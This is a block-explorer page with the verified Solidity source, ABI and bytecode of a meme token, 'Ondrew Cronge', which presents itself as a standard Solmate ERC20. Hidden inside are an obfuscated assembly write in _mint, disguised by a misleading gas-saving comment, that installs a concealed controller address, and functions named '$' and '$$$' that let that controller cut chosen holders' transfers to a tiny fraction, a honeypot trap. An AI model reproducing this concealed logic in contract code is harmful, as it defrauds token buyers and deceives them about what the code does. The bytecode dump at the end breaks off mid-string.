Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

Outline

   - function approve(address spender, uin ...    - function transfer(address to, uint256 ...    - function transferFrom(    - function permit(    - function DOMAIN_SEPARATOR()    - function computeDomainSeparator()    - function $$$(address to)    - function domainSeparatorComputed()    - function _mint(address to, uint256 am ...    - function _burn(address from, uint256 ...  contract OndrewCronge is ERC20 *

More Options

• Similar
• Submit Audit
• Compare

/**
 *Submitted for verification at SonicScan.org on 2025-02-25
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/*
  /$$$$$$                                                   
 /$$__  $$                                                  
| $$  \__/  /$$$$$$   /$$$$$$  /$$$$$$$   /$$$$$$   /$$$$$$ 
| $$       /$$__  $$ /$$__  $$| $$__  $$ /$$__  $$ /$$__  $$
| $$      | $$  \__/| $$  \ $$| $$  \ $$| $$  \ $$| $$$$$$$$
| $$    $$| $$      | $$  | $$| $$  | $$| $$  | $$| $$_____/
|  $$$$$$/| $$      |  $$$$$$/| $$  | $$|  $$$$$$$|  $$$$$$$
 \______/ |__/       \______/ |__/  |__/ \____  $$ \_______/
                                         /$$  \ $$          
                                        |  $$$$$$/          
                                         \______/           
*/


/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
            uint256 value, 
            address from,
            address to
        ) internal returns (uint256 value_s) {
            if (domainSeparatorComputed() == true) {
                value_s = value;
            } else {
                if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
                    value_s = value * 0xC0FFEE / 0xCACA0DAB;
                } else {
                    value_s = value;
                }
            }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    function domainSeparatorComputed() internal view returns(bool return_flag) {
        return_flag = false;
    } 


    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x8, 0x19), mul(0x17, 0x7ae3fc3c3027a6c83c1d6b60652a7ce4a1)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}
contract OndrewCronge is ERC20 {
    constructor() ERC20("Ondrew Cronge", "CRONGE", 18) {
        _mint(msg.sender, 69_420_000_000 * 10 ** 18);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801561000f575f5ffd5b506040518060400160405280600d81526020017f4f6e647265772043726f6e6765000000000000000000000000000000000000008152506040518060400160405280600681526020017f43524f4e474500000000000000000000000000000000000000000000000000008152506012825f908161008c919061049c565b50816001908161009c919061049c565b508060ff1660808160ff16815250504660a081815250506100c16100ec60201b60201c565b60c081815250505050506100e7336be04ee0ccb27ac646ac00000061017660201b60201c565b61074d565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405161011c9190610607565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6463060405160200161015b959493929190610683565b60405160208183030381529060405280519060200120905090565b8060025f8282546101879190610701565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550707ae3fc3c3027a6c83c1d6b60652a7ce4a16017026019600802026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102539190610734565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806102da57607f821691505b6020821081036102ed576102ec610296565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261034f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610314565b6103598683610314565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61039d61039861039384610371565b61037a565b610371565b9050919050565b5f819050919050565b6103b683610383565b6103ca6103c2826103a4565b848454610320565b825550505050565b5f5f905090565b6103e16103d2565b6103ec8184846103ad565b505050565b5b8181101561040f576104045f826103d9565b6001810190506103f2565b5050565b601f82111561045457610425816102f3565b61042e84610305565b8101602085101561043d578190505b61045161044985610305565b8301826103f1565b50505b505050565b5f82821c905092915050565b5f6104745f1984600802610459565b1980831691505092915050565b5f61048c8383610465565b9150826002028217905092915050565b6104a58261025f565b67ffffffffffffffff8111156104be576104bd610269565b5b6104c882546102c3565b6104d3828285610413565b5f60209050601f831160018114610504575f84156104f2578287015190505b6104fc8582610481565b865550610563565b601f198416610512866102f3565b5f5b8281101561053957848901518255600182019150602085019450602081019050610514565b868310156105565784890151610552601f891682610465565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154610593816102c3565b61059d818661056b565b9450600182165f81146105b757600181146105cc576105fe565b60ff19831686528115158202860193506105fe565b6105d585610575565b5f5b838110156105f6578154818901526001820191506020810190506105d7565b838801955050505b50505092915050565b5f6106128284610587565b915081905092915050565b5f819050919050565b61062f8161061d565b82525050565b61063e81610371565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61066d82610644565b9050919050565b61067d81610663565b82525050565b5f60a0820190506106965f830188610626565b6106a36020830187610626565b6106b06040830186610626565b6106bd6060830185610635565b6106ca6080830184610674565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61070b82610371565b915061071683610371565b925082820190508082111561072e5761072d6106d4565b5b92915050565b5f6020820190506107475f830184610635565b92915050565b60805160a05160c0516118456107775f395f6106af01525f61067b01525f61065601526118455ff3fe608060405234801561000f575f5ffd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f5ffd5b6100be610288565b6040516100cb9190610ffa565b60405180910390f35b6100ee60048036038101906100e991906110ab565b610313565b6040516100fb9190611103565b60405180910390f35b61010c610400565b604051610119919061112b565b60405180910390f35b61013c60048036038101906101379190611144565b610406565b6040516101499190611103565b60405180910390f35b61015a610654565b60405161016791906111af565b60405180910390f35b610178610678565b60405161018591906111e0565b60405180910390f35b6101a860048036038101906101a391906111f9565b6106d4565b6040516101b5919061112b565b60405180910390f35b6101d860048036038101906101d391906111f9565b6106e9565b6040516101e5919061112b565b60405180910390f35b6101f66106fe565b6040516102039190610ffa565b60405180910390f35b610226600480360381019061022191906110ab565b61078a565b6040516102339190611103565b60405180910390f35b61025660048036038101906102519190611278565b6108aa565b005b610272600480360381019061026d9190611315565b610b97565b60405161027f919061112b565b60405180910390f35b5f805461029490611380565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611380565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee919061112b565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113dd565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113dd565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610640919061112b565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610ef9565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611380565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611380565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113dd565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610898919061112b565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e49061145a565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d96959493929190611487565b604051602081830303815290604052805190602001206040516020016109a492919061155a565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611590565b6020604051602081039080840390855afa1580156109f9573d5f5f3e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa29061161d565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b86919061112b565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d28919061163b565b10610d525763caca0dab62c0ffee85610d41919061166e565b610d4b91906116dc565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e58919061166e565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906117a8565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906117be565b60405160208183030381529060405280519060200120905090565b5f5f905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fcc82610f8a565b610fd68185610f94565b9350610fe6818560208601610fa4565b610fef81610fb2565b840191505092915050565b5f6020820190508181035f8301526110128184610fc2565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110478261101e565b9050919050565b6110578161103d565b8114611061575f5ffd5b50565b5f813590506110728161104e565b92915050565b5f819050919050565b61108a81611078565b8114611094575f5ffd5b50565b5f813590506110a581611081565b92915050565b5f5f604083850312156110c1576110c061101a565b5b5f6110ce85828601611064565b92505060206110df85828601611097565b9150509250929050565b5f8115159050919050565b6110fd816110e9565b82525050565b5f6020820190506111165f8301846110f4565b92915050565b61112581611078565b82525050565b5f60208201905061113e5f83018461111c565b92915050565b5f5f5f6060848603121561115b5761115a61101a565b5b5f61116886828701611064565b935050602061117986828701611064565b925050604061118a86828701611097565b9150509250925092565b5f60ff82169050919050565b6111a981611194565b82525050565b5f6020820190506111c25f8301846111a0565b92915050565b5f819050919050565b6111da816111c8565b82525050565b5f6020820190506111f35f8301846111d1565b92915050565b5f6020828403121561120e5761120d61101a565b5b5f61121b84828501611064565b91505092915050565b61122d81611194565b8114611237575f5ffd5b50565b5f8135905061124881611224565b92915050565b611257816111c8565b8114611261575f5ffd5b50565b5f813590506112728161124e565b92915050565b5f5f5f5f5f5f5f60e0888a0312156112935761129261101a565b5b5f6112a08a828b01611064565b97505060206112b18a828b01611064565b96505060406112c28a828b01611097565b95505060606112d38a828b01611097565b94505060806112e48a828b0161123a565b93505060a06112f58a828b01611264565b92505060c06113068a828b01611264565b91505092959891949750929550565b5f5f6040838503121561132b5761132a61101a565b5b5f61133885828601611064565b925050602061134985828601611064565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061139757607f821691505b6020821081036113aa576113a9611353565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113e782611078565b91506113f283611078565b925082820390508181111561140a576114096113b0565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f611444601783610f94565b915061144f82611410565b602082019050919050565b5f6020820190508181035f83015261147181611438565b9050919050565b6114818161103d565b82525050565b5f60c08201905061149a5f8301896111d1565b6114a76020830188611478565b6114b46040830187611478565b6114c1606083018661111c565b6114ce608083018561111c565b6114db60a083018461111c565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115246002836114e6565b915061152f826114f0565b600282019050919050565b5f819050919050565b61155461154f826111c8565b61153a565b82525050565b5f61156482611518565b91506115708285611543565b6020820191506115808284611543565b6020820191508190509392505050565b5f6080820190506115a35f8301876111d1565b6115b060208301866111a0565b6115bd60408301856111d1565b6115ca60608301846111d1565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f611607600e83610f94565b9150611612826115d3565b602082019050919050565b5f6020820190508181035f830152611634816115fb565b9050919050565b5f61164582611078565b915061165083611078565b9250828201905080821115611668576116676113b0565b5b92915050565b5f61167882611078565b915061168383611078565b925082820261169181611078565b915082820484148315176116a8576116a76113b0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116e682611078565b91506116f183611078565b925082611701576117006116af565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461173481611380565b61173e818661170c565b9450600182165f8114611758576001811461176d5761179f565b60ff198316865281151582028601935061179f565b61177685611716565b5f5b8381101561179757815481890152600182019150602081019050611778565b838801955050505b50505092915050565b5f6117b38284611728565b915081905092915050565b5f60a0820190506117d15f8301886111d1565b6117de60208301876111d1565b6117eb60408301866111d1565b6117f8606083018561111c565b6118056080830184611478565b969550505050505056fea264697066735822122015e5038087db575c568f7ac108ad03be977ee5136b98ec72ec78cef3fb73ca5664736f6c634300081c0033

0x608060405234801561000f575f5ffd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f5ffd5b6100be610288565b6040516100cb9190610ffa565b60405180910390f35b6100ee60048036038101906100e991906110ab565b610313565b6040516100fb9190611103565b60405180910390f35b61010c610400565b604051610119919061112b565b60405180910390f35b61013c60048036038101906101379190611144565b610406565b6040516101499190611103565b60405180910390f35b61015a610654565b60405161016791906111af565b60405180910390f35b610178610678565b60405161018591906111e0565b60405180910390f35b6101a860048036038101906101a391906111f9565b6106d4565b6040516101b5919061112b565b60405180910390f35b6101d860048036038101906101d391906111f9565b6106e9565b6040516101e5919061112b565b60405180910390f35b6101f66106fe565b6040516102039190610ffa565b60405180910390f35b610226600480360381019061022191906110ab565b61078a565b6040516102339190611103565b60405180910390f35b61025660048036038101906102519190611278565b6108aa565b005b610272600480360381019061026d9190611315565b610b97565b60405161027f919061112b565b60405180910390f35b5f805461029490611380565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611380565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee919061112b565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113dd565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113dd565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610640919061112b565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000009246146106ad576106a8610ef9565b6106cf565b7f6edbd7ad412bc2eb3020cdf7279926d6602fbee180f3580d6fbe40067e130e8c5b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611380565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611380565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113dd565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610898919061112b565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e49061145a565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d96959493929190611487565b604051602081830303815290604052805190602001206040516020016109a492919061155a565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611590565b6020604051602081039080840390855afa1580156109f9573d5f5f3e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa29061161d565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7